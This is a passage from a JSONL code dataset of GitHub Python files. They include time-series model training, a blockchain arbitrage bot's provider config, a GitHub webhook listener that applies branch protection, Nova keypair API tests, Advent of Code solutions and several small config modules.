>= train_start) & (timestamps < train_stop)\n test_mask = (timestamps >= test_start) & (timestamps < test_stop)\n if train_mask.sum() == 0:\n xmin, xmax = timestamps.iloc[[0, -1]]\n raise ValueError(\n f\"No training data: ({xmin}, {xmax}) \"\n f\"doesnt match ({train_start}, {train_stop})\"\n )\n if test_mask.sum() == 0:\n xmin, xmax = timestamps.iloc[[0, -1]]\n raise ValueError(\n f\"No test data: ({xmin}, {xmax}) \"\n f\"doesnt match ({test_start}, {test_stop})\"\n )\n\n (train_index,) = np.where(train_mask)\n (test_index,) = np.where(test_mask)\n return train_index, test_index\n\n\nclass TimeSeriesSplit:\n \"\"\" Takes the windows and returns sklearn capatible TimeSeriesSplit object \"\"\"\n\n def __init__(self, windows):\n self.windows = windows\n\n def split(self, df_features):\n \"\"\" Split the features into train_index, test_index \"\"\"\n for window in self.windows:\n yield test_train_split(df_features, *window)\n\n\nclass Scorer:\n def __init__(\n self,\n metric=sklearn.metrics.median_absolute_error,\n bigger_is_better=False,\n ):\n self.metric = metric\n self.sign = 1 if bigger_is_better else -1\n\n def __call__(self, estimator, test_df, sample_weight=None):\n y_pred = estimator.predict(test_df)\n return self.sign * self.metric(test_df[\"y\"], y_pred[\"yhat\"])\n\n\ndef compute_sliding_windows(\n start,\n stop,\n step_delta,\n interval_delta,\n training_size=25,\n test_size=5,\n):\n \"\"\"Compute the sliding windows\"\"\"\n start = pd.Timestamp(str(start))\n stop = pd.Timestamp(str(stop))\n step_delta = pd.Timedelta(step_delta)\n interval_delta = pd.Timedelta(interval_delta)\n\n timestep = start\n test_stop = start\n windows = []\n while test_stop < stop:\n train_start = timestep\n train_stop = train_start + interval_delta * training_size\n test_start = train_stop\n test_stop = test_start + interval_delta * test_size\n\n windows.append(\n (\n (train_start, train_stop),\n (test_start, test_stop),\n )\n )\n timestep += step_delta\n return windows\n\n\ndef compute_sliding_windows_for_data(df_features, **kws):\n \"\"\"Compute sliding windows based on start/stop of features \"\"\"\n timestamps = df_features[\"ds\"]\n interval_delta = timestamps[1] - timestamps[0]\n kws.setdefault(\"interval_delta\", interval_delta)\n kws.setdefault(\"training_size\", 100)\n kws.setdefault(\"test_size\", 30)\n\n interval_delta = kws[\"interval_delta\"]\n test_size = kws[\"test_size\"]\n\n start = kws.pop(\"start\", timestamps.min())\n stop = kws.pop(\"stop\", timestamps.max())\n step_delta = kws.pop(\"step_delta\", interval_delta * int(test_size * 0.8))\n\n return compute_sliding_windows(start, stop, step_delta, **kws)\n\n\ndef train_model(model, df_features, window):\n train_index, test_index = test_train_split(df_features, *window)\n train_df = df_features.iloc[train_index]\n test_df = df_features.iloc[test_index]\n\n if isinstance(model, fbprophet.Prophet):\n if getattr(model, \"history\", \"\") is None:\n print(f\"Fitting fbprophet with {len(train_df)} samples\")\n model.fit(train_df)\n elif isinstance(model, LinearGAM):\n if not model._is_fitted:\n print(f\"Fitting LinearGAM with {len(train_df)}\")\n model.fit(train_df)\n else:\n raise TypeError(f\"Unknown model type {model.__class__.__name__}\")\n\n print(\"predictions from model\")\n train_predict = model.predict(train_df)\n test_predict = model.predict(test_df)\n\n required_predict_columns = {\"yhat\", \"yhat_lower\", \"yhat_upper\"}\n columns = set(train_predict.columns)\n missing_columns = required_predict_columns - columns\n if len(missing_columns) > 0:\n raise ValueError(f\"Missing columns {missing_columns}\")\n\n return {\n \"model\": model,\n \"df_features\": df_features,\n \"train_df\": train_df,\n \"train_predict\": train_predict,\n \"test_df\": test_df,\n \"test_predict\": test_predict,\n \"window\": window,\n \"metrics\": {\n \"mean_absolute_error\": sklearn.metrics.mean_absolute_error(\n test_df[\"y\"].values,\n test_predict[\"yhat\"].values,\n ),\n },\n }\n\n\ndef training_results_to_evaulation_params(**training_results):\n evaluation_params = training_results.copy()\n return evaluation_params\n\n\ndef generate_hyperparameter_grid_linear_gam(\n base_hyperparameters, number_feature_parameters=30, feature_parameters=None\n):\n \"\"\"\n options = {\n 'n_splines': np.linspace(1, 20, 10).astype(int),\n 'spline_order': np.arange(3, 10, 5).astype(int),\n 'lam': np.logspace(-3, 3, 11),\n }\n \"\"\"\n grid = []\n feature_hyperparameters = base_hyperparameters[\"feature_hyperparameters\"]\n for _ in range(number_feature_parameters):\n feature_hyperparameters_new = copy.deepcopy(feature_hyperparameters)\n for feature_name, params in feature_hyperparameters_new.items():\n while True:\n for key, values in feature_parameters.items():\n params[key]\n params[key] = random.choice(values)\n if params[\"n_splines\"] <= params[\"spline_order\"]:\n # n_splines must be > spline_order\n continue\n break\n feature_hyperparameters_new[feature_name] = params\n grid.append(feature_hyperparameters_new)\n\n param_grid = {k: [v] for k, v in base_hyperparameters.items()}\n param_grid[\"feature_hyperparameters\"] = grid\n return param_grid\n\n\ndef hyperparamter_search(model, df_features, windows, **kws):\n kws_search = {\n \"estimator\": model,\n \"n_jobs\": 10,\n \"cv\": TimeSeriesSplit(windows).split(df_features),\n \"scoring\": Scorer(),\n }\n if isinstance(model, LinearGAM):\n param_grid = kws[\"param_grid\"]\n if \"base_hyperparameters\" in param_grid:\n param_grid = generate_hyperparameter_grid_linear_gam(**param_grid)\n kws[\"param_grid\"] = param_grid\n kws_search.update(kws)\n model_search = sklearn.model_selection.GridSearchCV(**kws_search)\n return model_search.fit(df_features)\n","repo_name":"earthastronaut/the_crystal_ball","sub_path":"the_crystal_ball/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":7152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"22884245080","text":"\"\"\"\nFastlane bot config -- provider\n\"\"\"\n__VERSION__ = \"0.9.1\"\n__DATE__ = \"30/Apr 2023\"\n\nfrom web3.contract import Contract\n\nfrom .base import ConfigBase\nfrom . import selectors as S\nfrom .network import ConfigNetwork\nfrom .connect import EthereumNetwork\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\n\nfrom ..data.abi import (\n BANCOR_V3_NETWORK_INFO_ABI,\n CARBON_CONTROLLER_ABI,\n FAST_LANE_CONTRACT_ABI,\n)\n\nETH_PRIVATE_KEY_BE_CAREFUL = os.environ.get(\"ETH_PRIVATE_KEY_BE_CAREFUL\")\n#WEB3_ALCHEMY_PROJECT_ID = os.environ.get(\"WEB3_ALCHEMY_PROJECT_ID\")\n\nclass ConfigProvider(ConfigBase):\n \"\"\"\n Fastlane bot config -- provider\n \"\"\"\n __VERSION__=__VERSION__\n __DATE__=__DATE__\n \n RPC_URL = None # set in derived class init\n \n PROVIDER_DEFAULT = S.PROVIDER_DEFAULT\n PROVIDER_INFURA = S.PROVIDER_INFURA\n PROVIDER_ALCHEMY = S.PROVIDER_ALCHEMY\n PROVIDER_TENDERLY = S.PROVIDER_TENDERLY\n PROVIDER_UNITTEST = S.PROVIDER_UNITTEST\n ETH_PRIVATE_KEY_BE_CAREFUL = ETH_PRIVATE_KEY_BE_CAREFUL\n #WEB3_ALCHEMY_PROJECT_ID = WEB3_ALCHEMY_PROJECT_ID\n\n\n @classmethod\n def new(cls, network: ConfigNetwork, provider=None, **kwargs):\n \"\"\"\n Return a new ConfigProvider.\n \"\"\"\n if not issubclass(type(network), ConfigNetwork):\n raise TypeError(f\"Invalid network type: {type(network)}\")\n \n if provider is None:\n provider = cls.PROVIDER_DEFAULT\n \n if provider == S.PROVIDER_DEFAULT:\n provider = network.DEFAULT_PROVIDER\n \n if provider == S.PROVIDER_ALCHEMY:\n return _ConfigProviderAlchemy(network, _direct=False, **kwargs)\n elif provider == S.PROVIDER_TENDERLY:\n return _ConfigProviderTenderly(network, _direct=False, **kwargs)\n elif provider == S.PROVIDER_INFURA:\n return _ConfigProviderInfura(network, _direct=False, **kwargs)\n elif provider == S.PROVIDER_UNITTEST:\n return _ConfigProviderUnitTest(network, _direct=False, **kwargs)\n else:\n raise ValueError(f\"Unknown provider: {provider}\")\n \n def __init__(self, network: ConfigNetwork, **kwargs):\n super().__init__(**kwargs)\n self.network = network\n\n\nclass _ConfigProviderAlchemy(ConfigProvider):\n \"\"\"\n Fastlane bot config -- provider [Alchemy]\n \"\"\"\n PROVIDER = S.PROVIDER_ALCHEMY\n #WEB3_ALCHEMY_PROJECT_ID = WEB3_ALCHEMY_PROJECT_ID\n \n def __init__(self, network: ConfigNetwork, **kwargs):\n super().__init__(network, **kwargs)\n #assert self.network.NETWORK == ConfigNetwork.NETWORK_ETHEREUM, f\"Alchemy only supports Ethereum {self.network}\"\n self.WEB3_ALCHEMY_PROJECT_ID = network.WEB3_ALCHEMY_PROJECT_ID\n self.RPC_URL = f\"{network.RPC_ENDPOINT}{self.WEB3_ALCHEMY_PROJECT_ID}\"\n\n N = self.network\n self.connection = EthereumNetwork(\n network_id=N.NETWORK_ID,\n network_name=f\"{N.NETWORK_NAME} (Alchemy)\",\n provider_url=self.RPC_URL,\n provider_name=\"alchemy\",\n )\n self.connection.connect_network()\n self.w3 = self.connection.web3\n self.LOCAL_ACCOUNT = self.w3.eth.account.from_key(ETH_PRIVATE_KEY_BE_CAREFUL)\n\n if network.NETWORK in N.NETWORK_ETHEREUM:\n self.BANCOR_NETWORK_INFO_CONTRACT = self.w3.eth.contract(\n address=network.BANCOR_V3_NETWORK_INFO_ADDRESS,\n abi=BANCOR_V3_NETWORK_INFO_ABI,\n )\n if network.NETWORK in [N.NETWORK_BASE, N.NETWORK_ETHEREUM]:\n self.CARBON_CONTROLLER_CONTRACT = self.w3.eth.contract(\n address=network.CARBON_CONTROLLER_ADDRESS,\n abi=CARBON_CONTROLLER_ABI,\n )\n self.BANCOR_ARBITRAGE_CONTRACT = self.w3.eth.contract(\n address=self.w3.toChecksumAddress(network.FASTLANE_CONTRACT_ADDRESS),\n abi=FAST_LANE_CONTRACT_ABI,\n )\n\n else:\n self.CARBON_CONTROLLER_CONTRACT = None\n self.BANCOR_ARBITRAGE_CONTRACT = None\n\n if self.BANCOR_ARBITRAGE_CONTRACT is not None:\n try:\n reward_percent, max_profit = self.BANCOR_ARBITRAGE_CONTRACT.caller.rewards()\n self.ARB_REWARD_PERCENTAGE = str(int(reward_percent) / 1000000)\n self.ARB_MAX_PROFIT = 1000000 # This is no longer used\n except:\n self.ARB_REWARD_PERCENTAGE = \"0.5\"\n else:\n self.ARB_REWARD_PERCENTAGE = \"0.5\"\n \n self.EXPECTED_GAS_MODIFIER = \"0.85\"\nclass _ConfigProviderTenderly(ConfigProvider):\n \"\"\"\n Fastlane bot config -- provider [Tenderly]\n \"\"\"\n PROVIDER = S.PROVIDER_TENDERLY\n \n def __init__(self, network: ConfigNetwork, **kwargs):\n super().__init__(network, **kwargs)\n assert self.network.NETWORK == ConfigNetwork.NETWORK_TENDERLY, f\"Tenderly only supports Tenderly {self.network}\"\n self.RPC_URL = f\"https://rpc.tenderly.co/fork/{self.network.TENDERLY_FORK}\"\n\n N = self.network\n self.connection = EthereumNetwork(\n network_id=N.NETWORK_ID,\n network_name=f\"{N.NETWORK_NAME}\",\n provider_url=self.RPC_URL,\n provider_name=\"tenderly\",\n )\n self.connection.connect_network()\n self.w3 = self.connection.web3\n self.LOCAL_ACCOUNT = self.w3.eth.account.from_key(ETH_PRIVATE_KEY_BE_CAREFUL)\n\n self.BANCOR_NETWORK_INFO_CONTRACT = self.w3.eth.contract(\n address=N.BANCOR_V3_NETWORK_INFO_ADDRESS,\n abi=BANCOR_V3_NETWORK_INFO_ABI,\n )\n self.CARBON_CONTROLLER_CONTRACT = self.w3.eth.contract(\n address=N.CARBON_CONTROLLER_ADDRESS,\n abi=CARBON_CONTROLLER_ABI,\n )\n self.BANCOR_ARBITRAGE_CONTRACT = self.w3.eth.contract(\n address=self.w3.toChecksumAddress(N.FASTLANE_CONTRACT_ADDRESS),\n abi=FAST_LANE_CONTRACT_ABI,\n )\n reward_percent, max_profit = self.BANCOR_ARBITRAGE_CONTRACT.caller.rewards()\n\n self.ARB_REWARD_PERCENTAGE = str(int(reward_percent) / 1000000)\n self.ARB_MAX_PROFIT = str(int(max_profit) / (10 ** 18))\n\n \nclass _ConfigProviderInfura(ConfigProvider):\n \"\"\"\n Fastlane bot config -- provider [Infura]\n \"\"\"\n PROVIDER = S.PROVIDER_INFURA\n \n def __init__(self, network: ConfigNetwork, **kwargs):\n super().__init__(network, **kwargs)\n assert self.network.NETWORK == ConfigNetwork.NETWORK_ETHEREUM, f\"Alchemy only supports Ethereum {self.network}\"\n raise NotImplementedError(\"Infura not implemented\")\n\nclass _ConfigProviderUnitTest(ConfigProvider):\n \"\"\"\n Fastlane bot config -- provider [UnitTest]\n \"\"\"\n PROVIDER = S.PROVIDER_UNITTEST\n \n def __init__(self, network: ConfigNetwork, **kwargs):\n super().__init__(network, **kwargs)\n #assert self.network.NETWORK == ConfigNetwork.NETWORK_ETHEREUM, f\"Alchemy only supports Ethereum {self.network}\"\n #raise NotImplementedError(\"Infura not implemented\")\n self.connection = None\n self.w3 = None\n self.BANCOR_NETWORK_INFO_CONTRACT = None\n self.CARBON_CONTROLLER_CONTRACT = None\n self.BANCOR_ARBITRAGE_CONTRACT = None\n \n\n \n","repo_name":"bancorprotocol/fastlane-bot","sub_path":"fastlane_bot/config/provider.py","file_name":"provider.py","file_ext":"py","file_size_in_byte":7264,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"37"} +{"seq_id":"39518252979","text":"from protected_schema import protection_data\nfrom flask import Flask, request, abort\nfrom flask_cors import CORS\nfrom waitress import serve\nimport requests\nfrom requests.auth import HTTPBasicAuth\nimport configparser\nimport base64\nimport logging\nimport hmac\n\n# Set up Flask app and get values from configuration file\napp = Flask(__name__)\nCORS(app)\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\ntry:\n if 'https://api.github.com' in config:\n user = config['https://api.github.com'].get('User')\n auth = config['https://api.github.com'].get('AuthToken')\n organization = config['https://api.github.com'].get('Organization')\n secret = config['https://api.github.com'].get('WebhookSecret')\n if None in [user, auth, organization, secret]:\n raise Exception(\"User, AuthToken, Organization and Secret values in config.ini must be valid.\")\n else:\n raise Exception(\"Config file must include 'https://api.github.com' section.\")\nexcept Exception as e:\n print(e)\n\n#Set up logging\nif config['DEFAULT'].get('Logging').lower() == 'true':\n logging.basicConfig(filename='webhook_listener.log', encoding='utf-8', level=logging.DEBUG)\n\nbasic = HTTPBasicAuth(user, auth)\n\n@app.route('/')\ndef hello():\n return 'Test Page for Webhooks Listener'\n\n@app.route('/createRepo',methods=['POST'])\ndef createRepo():\n\n api_url = 'https://api.github.com/repos'\n\n # Get the json data that corresponds with the POST request\n byte_data = request.get_data()\n data = request.json\n headers = request.headers\n sig = hmac.new(key=secret.encode(), msg=byte_data, digestmod=\"sha256\").hexdigest()\n logging.debug(\"Calculated hash: \" + str(sig))\n if not hmac.compare_digest('sha256=' + str(sig), headers['X-Hub-Signature-256']):\n abort(500)\n\n # There are many actions that correspond to POST requests for repository-related\n # webhooks. We are interested in repository creation, rather than deletion or others\n if data['action'] == 'created':\n repo_name = data['repository']['name']\n branches = requests.get(f'{api_url}/{organization}/{repo_name}/branches', auth=basic)\n if branches.status_code != 200:\n logging.error(branches.text)\n return branches.text\n if not branches.json():\n with open('initialreadme.md', 'r') as file:\n encoded_string = base64.b64encode(file.read().encode()).decode()\n send_data = {\n \"message\" : \"Initial commit\",\n \"content\" : encoded_string\n }\n response = requests.put(f'{api_url}/{organization}/{repo_name}/contents/README.md', auth=basic, json=send_data)\n if response.status_code == 201:\n branches = requests.get(f'{api_url}/{organization}/{repo_name}/branches', auth=basic)\n else:\n logging.error(response.text)\n return response.text\n logging.debug(response.text)\n logging.info(\"Created README and added to default branch\")\n\n default_branch = branches.json()[0]['name']\n\n protection = requests.put(f'{api_url}/{organization}/{repo_name}/branches/{default_branch}/protection', auth=basic, json=protection_data)\n\n if protection.status_code != 200:\n logging.error(protection.text)\n return protection.text\n logging.debug(protection.text)\n\n sig_protection = requests.post(f'{api_url}/{organization}/{repo_name}/branches/{default_branch}/protection/required_signatures', auth=basic)\n if sig_protection.status_code != 200:\n logging.error(sig_protection.text)\n return sig_protection.text\n logging.debug(sig_protection.text)\n\n issue_data = {\n \"title\" : \"Protection Added to Default Branch\",\n \"body\" : f\"\"\"@{user}\n Added the following branch protection rules to the default branch: \n 1) enforce_admins - Enforce all configured restrictions for administrators\n 2) required_pull_request_reviews - \n a. dismiss_stale_reviews - Automatically dismiss approving reviews when someone pushes a new commit\n b. require_code_owner_reviews - Blocks merging pull requests until code owners review them\n c. required_approving_review_count - 2 - Number of reviewers required to approve pull requests\n 3) restrictions - nwhewell - Restrict who can push to the protected branch\n 4) allow_force_pushes - False - Permits force pushes to the protected branch by anyone with write access to the repository\n 5) allow_deletions - False - Allows deletion of the protected branch by anyone with write access to the repository\n 6) block_creations - True - Blocks creation of new branches which match the branch protection pattern\n 7) required_conversation_resolution - True - Requires all conversations on code to be resolved before a pull request\n 8) Require signatures for commits\"\"\"\n }\n issue = requests.post(f'{api_url}/{organization}/{repo_name}/issues', auth=basic, json=issue_data)\n if issue.status_code != 201:\n logging.error(issue.text)\n return issue.text\n logging.debug(issue.text)\n\n logging.info(\"Webhook listener successfully created repository protections\")\n return \"Protected repo created\"\n\n# Set defaults\nhost = '127.0.0.1'\nport = 8080\nif config['webhook_server']:\n host = config['webhook_server'].get('Host', '127.0.0.1')\n port = config['webhook_server'].get('Port', 8080)\nelse:\n logging.debug(\"Config.ini does not contain information on port and host of webhook server...Using default values\")\n\nserve(app, host=host, port=port)\n\n","repo_name":"securityconsciouscustomer/Protected-Repo","sub_path":"api/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21396868920","text":"#errores corregidos \r\ndef facil():\r\n nombre=raw_input(\"Dime nombre: \")\r\n if (nombre[0]==\"A\" or nombre[0]==\"z\"):\r\n print(\"tu nombre va primero o ultimo \")\r\n else:\r\n print(\"Tu nombre no va el primero \")\r\n for cont in range (1,4):\r\n print(\"adios\")\r\nfacil()\r\n","repo_name":"Francasillas/TIC21-22","sub_path":"facil.py","file_name":"facil.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70840730667","text":"\"\"\"\nDocker zenpack\n\"\"\"\n\nimport logging\nlog = logging.getLogger('zen.Docker')\n\nimport Globals\nimport os\nimport re\nfrom Products.ZenUtils.Utils import monkeypatch, unused\nfrom Products.ZenModel.Device import Device\nfrom Products.Zuul.form import schema\nfrom Products.Zuul.infos import ProxyProperty\nfrom Products.Zuul.infos.device import DeviceInfo\nfrom Products.Zuul.interfaces import IDeviceInfo\nfrom Products.ZenModel.ZenPack import ZenPack as ZenPackBase\nfrom Products.ZenRelations.RelSchema import ToManyCont, ToOne\n\nunused(Globals)\n\n\n# Modules containing model classes. Used by zenchkschema to validate\n# bidirectional integrity of defined relationships.\nproductNames = (\n 'ZenPackCode',\n )\n\n# Useful to avoid making literal string references to module and class names\n# throughout the rest of the ZenPack.\nZP_NAME = 'ZenPacks.zenoss.CI'\nMODULE_NAME = {}\nCLASS_NAME = {}\nfor product_name in productNames:\n MODULE_NAME[product_name] = '.'.join([ZP_NAME, product_name])\n CLASS_NAME[product_name] = '.'.join([ZP_NAME, product_name, product_name])\n\n# Define new device relations.\nNEW_DEVICE_RELATIONS = (\n ('zenpacks', 'ZenPackCode'),\n )\n\nNEW_COMPONENT_TYPES = (\n 'ZenPacks.zenoss.CI.ZenPackCode.ZenPackCode',\n )\n\n# Add new relationships to Device if they don't already exist.\nfor relname, modname in NEW_DEVICE_RELATIONS:\n if relname not in (x[0] for x in Device._relations):\n Device._relations += (\n (relname,\n ToManyCont(ToOne, '.'.join((ZP_NAME, modname)), 'ci_host')),\n )\n\n\nclass ZenPack(ZenPackBase):\n \"\"\"\n ZenPack loader that handles custom installation and removal tasks.\n \"\"\"\n\n packZProperties = [\n ]\n\n def install(self, app):\n super(ZenPack, self).install(app)\n\n log.info('Adding CI relationships to existing devices')\n self._buildDeviceRelations()\n\n def remove(self, app, leaveObjects=False):\n if not leaveObjects:\n log.info('Removing CI components')\n\n # Remove our Device relations additions.\n Device._relations = tuple(\n [x for x in Device._relations\n if x[0] not in NEW_DEVICE_RELATIONS])\n\n log.info('Removing CI device relationships')\n self._buildDeviceRelations()\n\n super(ZenPack, self).remove(app, leaveObjects=leaveObjects)\n\n def _buildDeviceRelations(self):\n for d in self.dmd.Devices.getSubDevicesGen():\n d.buildRelations()\n\n\n@monkeypatch('Products.ZenHub.services.CommandPerformanceConfig.CommandPerformanceConfig')\ndef remote_applyDataMaps(self, device, datamaps):\n \"\"\"Patching command datasource to add partial remodeling\"\"\"\n from Products.DataCollector.ApplyDataMap import ApplyDataMap\n device = self.getPerformanceMonitor().findDevice(device)\n applicator = ApplyDataMap(self)\n\n changed = False\n for datamap in datamaps:\n if applicator._applyDataMap(device, datamap):\n changed = True\n\n return changed\n","repo_name":"ssvsergeyev/ZenPacks.zenoss.CI","sub_path":"ZenPacks/zenoss/CI/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71594133228","text":"PORT = 8004\n\nDB = \"src/db.json\"\n\nDEFAULT_SHORTCUTS = {\n \"play_pause\": \"space\",\n \"fullscreen\": \"command+f\",\n \"mute\": \"command+shift+u\",\n \"volume_up\": \"command+up\",\n \"volume_down\": \"command+down\",\n \"move_forward\": \"right\",\n \"move_back\": \"left\",\n \"quit\": \"command+q\",\n \"open_vlc\": \"open -a VLC\",\n}\n","repo_name":"franciscobmacedo/vlc-remote-control","sub_path":"src/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"72817537387","text":"# Predefined Ports:\nCHORD_PORT = 8000\nSCRAP_PORT = 8001\nCHORD_BEACON_PORT = 8010\nSCRAP_BEACON_PORT = 8011\n\nCODE_WORD_CHORD = b\"chord\"\nCODE_WORD_SCRAP = b\"scrapper\"\n\n# FLAGS!\n# Stablish initial communications between chord node and scrapper\nREQ_SCRAP_ASOC = b\"req_asoc\"\nREP_SCRAP_ASOC_YES = b\"rep_asoc_yes\"\nREP_SCRAP_ASOC_NO = b\"rep_asoc_no\"\n\n# Ask to scrap certain url ...\nREQ_SCRAP_URL = b\"req_scrap_url\"\nREP_SCRAP_URL = b\"rep_scrap_url\"\n\n# Ask for ack\nREQ_SCRAP_ACK = b\"req_scrap_ack\"\nREP_SCRAP_ACK_CONN = b\"rep_scrap_ack_conn\"\nREP_SCRAP_ACK_NO_CONN = b\"rep_scrap_ack_no_conn\"\n\nREP_CLIENT_INFO = b\"client_info\"\nREP_CLIENT_NODE = b\"client_node\"\n","repo_name":"CoolCows/Distributed-Scrapper","sub_path":"utils/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39255768157","text":"\"\"\"\nTests for :mod:`nova_api` and :mod:`nova_objects`.\n\"\"\"\n\nfrom __future__ import absolute_import, division, unicode_literals\n\nfrom twisted.trial.unittest import SynchronousTestCase\n\nfrom mimic.test.helpers import json_request, request\nfrom mimic.rest.nova_api import NovaApi, NovaControlApi\nfrom mimic.test.fixtures import APIMockHelper\n\n\nclass KeyPairTests(SynchronousTestCase):\n \"\"\"\n Tests for keypairs\n \"\"\"\n\n def setUp(self):\n \"\"\"\n Create a :obj:`MimicCore` with :obj:`NovaApi` as the only plugin\n \"\"\"\n nova_api = NovaApi([\"ORD\", \"MIMIC\"])\n self.helper = APIMockHelper(\n self, [nova_api, NovaControlApi(nova_api=nova_api)]\n )\n self.root = self.helper.root\n self.clock = self.helper.clock\n self.uri = self.helper.uri\n self.create_keypair_response, self.create_keypair_response_body = (\n self.create_keypair())\n self.keypair_name = self.create_keypair_response_body[\n 'keypair']['name']\n\n def create_keypair(self, kp_body=None):\n if kp_body is None:\n kp_body = {\n \"keypair\": {\n \"name\": \"setUP_test_lp\",\n \"public_key\": \"ssh-rsa testkey/\"\n }\n }\n\n resp, body = self.successResultOf(json_request(\n self, self.helper.root, b\"POST\", self.helper.uri + '/os-keypairs',\n kp_body\n ))\n return resp, body\n\n def get_keypairs_list(self):\n resp, body = self.successResultOf(json_request(\n self, self.helper.root, b\"GET\", self.helper.uri + '/os-keypairs'\n ))\n return resp, body\n\n def test_create_keypair(self):\n kp_test_body = {\n \"keypair\": {\n \"name\": \"test_lp\",\n \"public_key\": \"ssh-rsa testkey/\"\n }\n }\n resp, body = self.create_keypair(kp_test_body)\n\n self.assertEqual(resp.code, 200)\n self.assertEqual(body['keypair']['name'],\n kp_test_body['keypair']['name'])\n self.assertTrue(len(body['keypair']['fingerprint']) > 1)\n self.assertTrue(len(body['keypair']['user_id']) > 1)\n\n def test_keypair_list_with_multiple_keys(self):\n kp_test_body_1 = {\n \"keypair\": {\n \"name\": \"test_key_one\",\n \"public_key\": \"ssh-rsa testkeyone\"\n }\n }\n\n kp_test_body_2 = {\n \"keypair\": {\n \"name\": \"test_key_two\",\n \"public_key\": \"ssh-rsa testkeytwo\"\n }\n }\n self.create_keypair(kp_test_body_1)\n self.create_keypair(kp_test_body_2)\n resp, body = self.get_keypairs_list()\n self.assertEqual(body['keypairs'][0]['keypair']\n ['name'], self.keypair_name)\n self.assertEqual(body['keypairs'][1]['keypair']\n ['name'], \"test_key_one\")\n self.assertEqual(body['keypairs'][2]['keypair']\n ['name'], \"test_key_two\")\n\n def test_error_create_keypair(self):\n test_error_body = b\"{{a]\"\n resp, body = self.create_keypair(test_error_body)\n self.assertEqual(resp.code, 400)\n self.assertSubstring(\"Malformed\", str(body))\n\n def test_list_keypair(self):\n resp, body = self.get_keypairs_list()\n self.assertEqual(resp.code, 200)\n self.assertEqual(body['keypairs'][0]['keypair']\n ['name'], self.keypair_name)\n\n def test_delete_keypair(self):\n resp = self.successResultOf(request(\n self, self.helper.root, b\"DELETE\", self.helper.uri +\n '/os-keypairs/' + self.keypair_name\n ))\n\n self.assertEqual(resp.code, 202)\n resp, body = self.get_keypairs_list()\n self.assertNotIn(self.keypair_name, str(body['keypairs']))\n\n def test_error_delete_keypair(self):\n resp = self.successResultOf(request(\n self, self.helper.root, b\"DELETE\", self.helper.uri +\n '/os-keypairs/keydoesntexist'\n ))\n\n self.assertEqual(resp.code, 404)\n","repo_name":"rackerlabs/mimic","sub_path":"mimic/test/test_keypairs.py","file_name":"test_keypairs.py","file_ext":"py","file_size_in_byte":4102,"program_lang":"python","lang":"en","doc_type":"code","stars":164,"dataset":"github-code","pt":"37"} +{"seq_id":"28370112881","text":"from advent_of_code.utils import get_input_data\nfrom typing import List, Tuple\nfrom string import ascii_uppercase, ascii_lowercase\n\n\ndef prepare_input_data() -> List[Tuple[str, str]]:\n rucksack_data = get_input_data(year=2022, day=3).split(\"\\n\")\n return [(s[: int(len(s) / 2)], s[int(len(s) / 2) :]) for s in rucksack_data]\n\n\ndef extract_input_data_groups() -> List[Tuple[str, str, str]]:\n rucksack_data = get_input_data(year=2022, day=3).split(\"\\n\")\n groups = []\n for i in range(0, len(rucksack_data), 3):\n groups.append(tuple(rucksack_data[i : i + 3]))\n return groups\n\n\ndef get_type_priority(type: str) -> int:\n \"\"\"\n Returns type priority\n\n Args:\n type (str): type\n\n Returns:\n int: priority\n \"\"\"\n return (\n ascii_uppercase.index(type) + 27\n if type.isupper()\n else ascii_lowercase.index(type) + 1\n )\n\n\ndef problem_01() -> int:\n \"\"\"\n Prioritise element types\n\n Returns:\n int: Total prioritsation of rucksack\n \"\"\"\n rucksack_data = prepare_input_data()\n rucksack_priorition = 0\n for compartment1, compartment2 in rucksack_data:\n s1, s2 = set(compartment1), set(compartment2)\n matched_type = list(s1 & s2)[0]\n char_position = get_type_priority(matched_type)\n rucksack_priorition += char_position\n return rucksack_priorition\n\n\ndef problem_02() -> int:\n \"\"\"\n Finds common item type in all groups and returns the total\n prioritisation for all groups\n\n Returns:\n int: total prioritisation\n \"\"\"\n groups = extract_input_data_groups()\n rucksack_prioritisation = 0\n for group in groups:\n s1, s2, s3 = group\n common_type = list(set(s1) & set(s2) & set(s3))[0]\n rucksack_prioritisation += get_type_priority(common_type)\n return rucksack_prioritisation\n\n\nif __name__ == \"__main__\":\n total_priority = problem_01()\n print(total_priority)\n total_group_priority = problem_02()\n print(total_group_priority)\n","repo_name":"peva032/advent-of-code","sub_path":"advent_of_code/problems/twenty_twentytwo/day_03.py","file_name":"day_03.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"181462907","text":"'''\n Fonctions permettant de lire un fichier yml de configuration\n et de le parser\n'''\nfrom pypnnomenclature.repository import (\n get_nomenclature_list_formated,\n get_nomenclature_id_term\n)\nfrom geonature.utils.utilstoml import load_toml\n\nfrom geonature.core.gn_commons.repositories import get_table_location_id\n\ndef generate_config(file_path):\n '''\n Lecture et modification des fichiers de configuration yml\n Pour l'instant utile pour la compatiblité avec l'application\n projet_suivi\n ou le frontend génère les formulaires à partir de ces données\n '''\n # Chargement du fichier de configuration\n config = load_toml(file_path)\n config_data = find_field_config(config)\n return config_data\n\n\ndef find_field_config(config_data):\n '''\n Parcours des champs du fichier de config\n de façon à trouver toutes les occurences du champ field\n qui nécessite un traitement particulier\n '''\n if isinstance(config_data, dict):\n for ckey in config_data:\n if ckey == 'fields':\n config_data[ckey] = parse_field(config_data[ckey])\n elif isinstance(config_data[ckey], list):\n 